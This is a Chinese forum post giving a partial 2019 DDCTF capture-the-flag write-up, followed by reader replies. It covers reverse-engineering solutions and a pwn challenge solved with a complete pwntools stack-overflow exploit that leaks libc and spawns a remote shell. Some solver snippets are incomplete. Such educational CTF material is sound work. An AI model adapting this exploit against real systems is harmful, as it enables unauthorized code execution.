2019DDCTF部分wp
本帖最后由 一筐萝卜 于 2019-4-25 17:19 编辑## re
### Windows Reverse1
通过DIE查壳发现存在upx,在linux上upx -d脱壳即可,拖入IDA,通过关键字符串找到关键函数:
main函数中也没有什么,将输入的字符串带到sub\_401000函数去处理,之后和处理过后的字符串和正确字符串进行比较,若一致则是正确flag
![](https://s2.ax1x.com/2019/04/18/ESfKYt.png)
跟进sub\_401000,首先计算了输出字符串的长度,然后根据每一个字符的ascii码再加上一个常量作为地址,取里面的值,循环,每一位都是这样
![](https://s2.ax1x.com/2019/04/18/ESf1l8.png)
在main函数中我们知道正确的字符串,那么我们就可以反推处flag
exp:
```
data =
flag = ""
for x in range(len(data)):
flag+=chr(data-0x402ff8)
print "DDCTF{"+flag+"}"
```
#### flag:DDCTF{ZZ[JX#,9(9,+9QY!}
### Windows Reverse2
查壳发现是ASPack壳,我用工具脱没脱下来,只好手动脱,根据栈平衡可以顺利找到eop,然后从内存中dump下来,载入IDA中,找到关键函数:
sub\_4011F0函数验证了用户输出的合法性,然后再经过sub\_401240和sub\_401C6A处理,再和正确字符串相比较
![](https://s2.ax1x.com/2019/04/18/ESf8Og.png)
验证合法性的函数很简单,限制了0-9,A-F
![](https://s2.ax1x.com/2019/04/18/ESfUkn.png)
接下来看数据处理函数,静态分析后也没明白是干什么的,通过交叉引用函数,发现sub\_401000存在base64算法,但是这道题把索引表给隐藏起来了,题目所提供的索引表和0x76异或之后构成base64的索引表
动态调试的时候,我们输入123456789A的时候,发现sub\_401000返回了一串字符串:
![](https://s2.ax1x.com/2019/04/18/ESfdf0.png)
更加确定这个是base64加密了,解密发现,这个题目是将我门输入的字符串直接转成了数据
```
import base64
print base64.b64decode("EjRWeJo=").encode("hex")
```
所以我们直接将正确字符串base64解密即可得到flag:
```
import base64
print "DDCTF{"+base64.b64decode("reverse+").encode("hex").upper()+"}"
```
#### flag:DDCTF{ADEBDEAEC7BE}
### Confused
这道题一开始我没看出来,后来kaller师傅给我了一个提示:VM 虚拟机
再反过来头看程序,恍然大悟
首先题目是一个app,应该是在MacOS上的app,这是我第一次做,边百度边做
在MacOS中发现一个可执行文件,xia0Crackme
```
➜MacOS file xia0Crackme
xia0Crackme: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
➜MacOS
```
拖入IDA查找字符串来定位关键函数:
![](https://s2.ax1x.com/2019/04/18/ESfBlT.png)
main函数中,大致过程就是先对输入的字符串进行格式上的验证,长度上限制是18,然后进入到sub\_1000011D0进行处理,若返回值等于1,则是正确的flag
![](https://s2.ax1x.com/2019/04/18/ESfrXF.png)
在sub\_1000011D0函数中首先初始化了一个区域v2
![](https://s2.ax1x.com/2019/04/18/EShKHJ.png)
sub\_100001f60是通过输入的字符串和内存数据对v2进行赋值操作
![](https://s2.ax1x.com/2019/04/18/EShlNR.png)
前段是对v2进行赋值,最后将输入的字符串拷贝到qword_100003F58+48的位置
sub_100001F00函数对(*v2+24)进行了赋值,把一段数据赋给了它,接着是一个循环,判断条件就是刚刚赋值的数据是不是等于“0xf3”,
然后进入sub_100001E50,这个函数一开始我还没看出来是什么意思,后来发现这是一个VM类型的题,,这个函数的作用是控制程序执行的vm的分支
![](https://s2.ax1x.com/2019/04/18/ESh89x.png)
各个分支的函数我这里就不再详细讲解
数据:
```
0xf0,0x10,0x66,0x0,0x0,0x0,
0xf8,
0xf2,0x30,
0xf6,0xc1,
0xf0,0x10,0x63,0x0,0x0,0x0,
0xf8,
0xf2,0x31,
0xf6,0xb6,
0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x32,
0xf6,0xab,
0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x33,
0xf6,0xa0,
0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x34,
0xf6,0x95,
0xf0,0x10,0x57,0x0,0x0,0x0,
0xf8,
0xf2,0x35,
0xf6,0x8a,
0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x36,
0xf6,0x7f,
0xf0,0x10,0x73,0x0,0x0,0x0,
0xf8,
0xf2,0x37,
0xf6,0x74,
0xf0,0x10,0x45,0x0,0x0,0x0,
0xf8,
0xf2,0x38,
0xf6,0x69,
0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x39,
0xf6,0x5e,
0xf0,0x10,0x72,0x0,0x0,0x0,
0xf8,
0xf2,0x3a,
0xf6,0x53,
0xf0,0x10,0x52,0x0,0x0,0x0,
0xf8,
0xf2,0x3b,
0xf6,0x48,
0xf0,0x10,0x66,0x0,0x0,0x0,
0xf8,
0xf2,0x3c,
0xf6,0x3d,
0xf0,0x10,0x63,0x0,0x0,0x0,
0xf8,
0xf2,0x3d,
0xf6,0x32,
0xf0,0x10,0x44,0x0,0x0,0x0,
0xf8,
0xf2,0x3e,
0xf6,0x27,
0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x3f,
0xf6,0x1c,
0xf0,0x10,0x79,0x0,0x0,0x0,
0xf8,
0xf2,0x40,
0xf6,0x11,
0xf0,0x10,0x65,0x0,0x0,0x0,
0xf8,
0xf2,0x41,
0xf6,0x6,
0xf7,0x1,0x0,0x0,0x0,0xf3
```
总共是两中处理方式
![](https://s2.ax1x.com/2019/04/18/EShG36.png)
exp:
```
data =
flag = ""
for x in range(len(data)):
if 0x41<=data and data<=0x5a:
flag += chr((2+data-65)%26+65)
else:
flag += chr((2+data-97)%26+97)
print "DDCTF{"+flag+"}"
```
#### flag:DDCTF{helloYouGotTheFlag}
## pwn
### strike
这个相对来说是比较简单的,设计到的只有栈溢出,但是这个栈溢出有点和之前的不一样
#### 第一处漏洞点
fprintf处存在泄露栈地址
#### 第二处漏洞点
通过负数来绕过对password输入长度的限制
#### 第三处漏洞点
在读入password时可造成栈溢出
但是在栈溢出的时候ECX不能变,需要把ECX的值计算出来填充到我们的payload中
exp:
```
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
debug = 1
if debug:
r = remote("116.85.48.105",5005)
file = ELF("./xpwn")
libc = ELF("./libc.so.6")
else:
r = process("./xpwn")
file = ELF("./xpwn")
# leak stack addr
r.recv()
payload = "a"*40
r.send(payload)
r.recvuntil("Hello "+"a"*40)
leak_stack = u32(r.recv())
ecx_stack = leak_stack+0x18
log.info("leak_stack --> "+hex(leak_stack))
log.info("ecx_stack --> "+hex(ecx_stack))
r.recv()
r.sendline("-123456")
r.recv()
# leak real addr
main_addr = 0x8048669
puts_plt = file.plt['puts']
read_got = file.got['read']
payload = "a"*68+p32(ecx_stack)+"a"*24+p32(puts_plt)+p32(main_addr)+p32(read_got)
#gdb.attach(r)
r.sendline(payload)
r.recvuntil("All done, bye!")
str1 = r.recv()
read_real = u32(str1)
read_libc = libc.symbols['read']
base_addr = read_real-read_libc
log.info("base_addr:"+hex(base_addr))
system_addr = libc.symbols['system']+base_addr
binsh_addr = 0x0015902b+base_addr
log.info("binsh_addr:"+hex(binsh_addr))
log.info("system_addr:"+hex(system_addr))
# getshell
payload = "a"*40
r.send(payload)
r.recvuntil("Hello "+"a"*40)
leak_stack = u32(r.recv())
ecx_stack = leak_stack+0x18
log.info("leak_stack --> "+hex(leak_stack))
log.info("ecx_stack --> "+hex(ecx_stack))
r.recv()
r.sendline("-123456")
r.recv()
payload = "a"*68+p32(ecx_stack)+"a"*24+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
r.sendline(payload)
r.recvuntil("All done, bye!")
sleep(0.1)
r.interactive()
```
![](https://s2.ax1x.com/2019/04/18/EShJgK.png)
#### flag:DDCTF{s0_3asy_St4ck0verfl0w_r1ght?} Hmily 发表于 2019-4-24 23:32
@一筐萝卜 论坛支持md格式,我给你编辑下,但代码就不支持原来的格式了,你修改成md的吧。
好的,谢谢 @Hmily 师傅 本帖最后由 灿烂阳光 于 2019-4-27 22:35 编辑
楼主您好,小白一个,想问您一下,pwn题中为什么发送40个a,返回时就能得到栈地址了呢?
而且ecx的值就是该值+0x18呢? 这是2019啊,大佬你打错了 chenrunlin1 发表于 2019-4-18 18:58
这是2019啊,大佬你打错了
这个怎么修改呢? 这思路清晰,慢慢学习!希望有一天能达到楼主的境界 一筐萝卜 发表于 2019-4-18 19:21
这个怎么修改呢?
点编辑应该能修改吧= = 大佬好像把eip写成eop了吧。。。。 向大佬学习学习
向大佬学习学习 事爷爷!强就完事 谢谢大佬,学习学习
页:
[1]
2